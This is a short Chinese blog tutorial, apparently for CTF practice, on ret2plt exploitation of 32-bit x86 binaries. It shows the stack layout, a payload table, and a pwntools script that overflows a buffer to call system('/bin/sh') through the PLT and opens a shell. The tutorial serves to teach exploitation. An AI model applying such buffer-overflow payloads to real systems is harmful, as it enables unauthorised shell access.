ret2plt for x86

ret2plt for x86

观察栈

e.g.:

-0000000000000088     _BYTE buf[136];
+0000000000000000     _DWORD __saved_registers;
+0000000000000004     _UNKNOWN *__return_address;

覆盖

溢出位置 填充内容 说明
Buffer (136 bytes) $A * 136$ 淹没缓冲区
Saved EBP (4 bytes) $B * 4$ 淹没旧基址
Return Address 目标函数地址 比如 system() 的地址
Next Return (4 bytes) 退出地址 / 垃圾数据 目标函数执行完后跳转的位置(通常填 exit()main() 地址)
Parameter 1 参数地址 比如指向 /bin/sh 字符串的指针

Script

'''
 _system:
 .plt:08048320                 jmp     ds:off_804A010

 .text:08048480 ; int __cdecl main(int argc, const char **argv, const char **envp)

 .data:0804A024 hint            db '/bin/sh',0
'''

payload = b'a' * 0x88 + b"a" * 0x4 + p32(0x08048320) + p32(0x08048480) + p32(0x0804A024)
io.sendlineafter(b":\n", payload)

io.interactive()

上述的地址:

  • 0x08048320system() 函数在 PLT 中的地址。
  • 0x08048480main() 函数的地址,作为 system() 执行完后的返回地址。
  • 0x0804A024 是存储字符串 /bin/sh 的地址,作为 system() 的参数。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇